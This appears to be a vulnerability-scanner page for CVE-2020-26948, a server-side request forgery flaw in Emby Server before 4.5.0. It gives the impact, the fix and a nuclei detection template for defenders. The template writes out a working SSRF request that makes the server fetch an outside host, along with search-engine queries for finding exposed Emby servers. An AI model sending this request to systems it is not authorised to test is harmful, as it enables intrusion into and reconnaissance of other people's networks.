Emby < 4.5.0 - Server Server-Side Request Forgery

criticalseverity

9.8CVSS score

87.2%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Emby Server before 4.5.0 allows server-side request forgery (SSRF) via the Items/RemoteSearch/Image ImageURL parameter.

Impact

An attacker can exploit this vulnerability to access internal resources, perform port scanning, and potentially pivot to other systems.

Fix

Apply the latest security patches or upgrade to a patched version of Emby Server.

How to confirm it

Send: GET {{BaseURL}}/Items/RemoteSearch/Image?ProviderName=TheMovieDB&ImageURL=http://oast.fun
Positive when: contains "<h1> Interactsh Server </h1>" AND contains in content_type "text/html" or "application/octet-stream" AND status 200

Run it with nuclei: nuclei -id CVE-2020-26948 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-26948

info:
  name: Emby < 4.5.0 - Server Server-Side Request Forgery
  author: dwisiswant0
  severity: critical
  description: |
    Emby Server before 4.5.0 allows server-side request forgery (SSRF) via the Items/RemoteSearch/Image ImageURL parameter.
  impact: |
    An attacker can exploit this vulnerability to access internal resources, perform port scanning, and potentially pivot to other systems.
  remediation: |
    Apply the latest security patches or upgrade to a patched version of Emby Server.
  reference:
    - https://github.com/btnz-k/emby_ssrf
    - https://github.com/btnz-k/emby_ssrf/blob/master/emby_scan.rb
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Live-Hack-CVE/CVE-2020-26948
    - https://nvd.nist.gov/vuln/detail/CVE-2020-26948
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-26948
    cwe-id: CWE-918
    epss-score: 0.87154
    epss-percentile: 0.99753
    cpe: cpe:2.3:a:emby:emby:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: emby
    product: emby
    shodan-query: http.title:"emby"
    fofa-query: title="emby"
    google-query: intitle:"emby"
  tags: cve2020,cve,emby,jellyfin,ssrf,vuln,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/Items/RemoteSearch/Image?ProviderName=TheMovieDB&ImageURL=http://oast.fun"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<h1> Interactsh Server </h1>"

      - type: word
        part: content_type
        words:
          - "text/html"
          - "application/octet-stream"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from